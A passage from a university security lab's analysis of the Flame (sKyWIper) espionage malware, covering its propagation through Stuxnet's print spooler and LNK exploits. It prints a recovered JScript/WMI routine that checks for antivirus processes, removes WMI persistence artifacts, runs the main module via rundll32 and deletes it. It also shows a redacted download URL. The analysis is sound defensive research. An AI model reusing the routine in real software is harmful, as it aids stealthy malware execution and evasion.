sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex ... - CrySyS Lab

It would be useful to describe here the exact meaning of the abbreviated functionality (SHR,
ABH, BHD, DLV, SMLData, VBinfo, OFR, PF, PGHDict) of this interesting library, however,
currently we do not have enough information on it.
CreatePGHDict might be associated with some Bluetooth related activities.
EnableSHR might be connected to ~DEB93D creation which contains samba nmb name
resolution traffic log.
3.7. Installation and propagation method
There are multiple ways for the malware to propagate. One method we are aware of is
related to windows update and file downloading by some modules using SSL and some
proprietary text based protocol. We also have clear indications that Stuxnet’s print spooler
exploit (MS10-061) and lnk exploit (MS10-046) is used within sKyWIper as well:
var objFileSystem = new ActiveXObject("Scripting.FileSystemObject");var s =
GetObject("winmgmts:root\\cimv2");var oProcs = s.ExecQuery("SELECT * FROM
Win32_Process WHERE name='outpost.exe' or name='aupdrun.exe' or name='op_mon.exe'
or
name='avp.exe'");s.Delete("__EventFilter.Name='FilterForClassCreation'");s.Delete("
ActiveScriptEventConsumer.Name='ActiveScriptForSvc'");s.Delete("MyTestClass");s.Del
ete("__Win32Provider.Name='ActiveScriptEventConsumer'");var f =
objFileSystem.GetFile("wbem\\mof\\good\\svchostevt.mof");f.Delete(true);
f =objFileSystem.GetFile("testpage");f.Delete(true);if (!oProcs.Count) { s1 = new
ActiveXObject("Wscript.Shell");s1.Run("%SYSTEMROOT%\\system32\\rundll32.exe
msdclr64.ocx,DDEnumCallback");while (true) { var oProcs = s.ExecQuery("SELECT *
FROM Win32_Process WHERE name='rundll32.exe'"); if (!oProcs.Count) break; } var f =
objFileSystem.GetFile("msdclr64.ocx");f.Delete(true);} else { var f =
objFileSystem.GetFile("msdclr64.ocx"); f.Delete(true);}
where msdclr64.ocx refers to the main module
Figure 12 – Printer problem related routines in the malware
URL:
http:///view.php?mp=1&jz=1627XXXXXX&fd=1463XXXXXX&
am=55XXXXXXX55X&ef=962DXXX7EC84XXXXEC84&pr=1&ec=0&ov=66664XXXXX6641XXXXX64174&pl=gs
pndXXXXXX|spnZXXX|nyXXX|0nXXX|TWvXXXX|nGcXXX…
some 30-50 tags more XXX are deliberately deleted
Figure 13 – URL used to download mssecmgr.sys by some installation part
Laboratory of Cryptography and System Security (CrySyS)
Budapest University of Technology and Economics
www.crysys.hu 22